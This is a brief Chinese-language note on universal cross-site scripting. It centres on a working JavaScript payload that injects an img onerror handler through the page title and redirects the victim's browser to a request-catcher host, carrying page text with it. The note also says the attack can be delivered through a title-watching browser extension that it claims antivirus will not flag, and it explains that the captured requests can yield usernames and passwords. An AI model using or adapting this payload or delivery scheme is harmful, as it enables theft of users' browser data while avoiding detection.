uXSS学习

payload:

<title>HELLO</title>
<script>
    document.title = `
    <img src=x onerror="document.location = 'https://sad.requestcatcher.com/' 
    + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, 
    null).singleNodeValue.data"
    `;
</script>

实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒
然后使用上述代码在目标浏览器使用以窃取信息
这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:

首先,这段代码修改了网页的标题,将其设置为一个包含一个标签的字符串。该标签中包含一个onerror事件处理程序,该事件处理程序会在图片加载失败时触发。在这个事件处理程序中,使用JavaScript的document.location将用户的浏览器重定向到一个特定的URL。

这个URL实际上是一个请求捕获器,可以用于拦截并记录通过该URL传输的所有HTTP请求。在这里,攻击者可以利用请求捕获器来获取用户的敏感信息,例如用户名、密码或其他机密信息。

此外,该代码使用了XPathResult.FIRST_ORDERED_NODE_TYPE,该属性表示XPath表达式仅返回第一个节点。在这里,XPath表达式选择了页面上第一个文本节点,以获取其中的数据并将其作为参数传递给请求捕获器。这样可以确保攻击者仅获取特定数据而不是整个页面。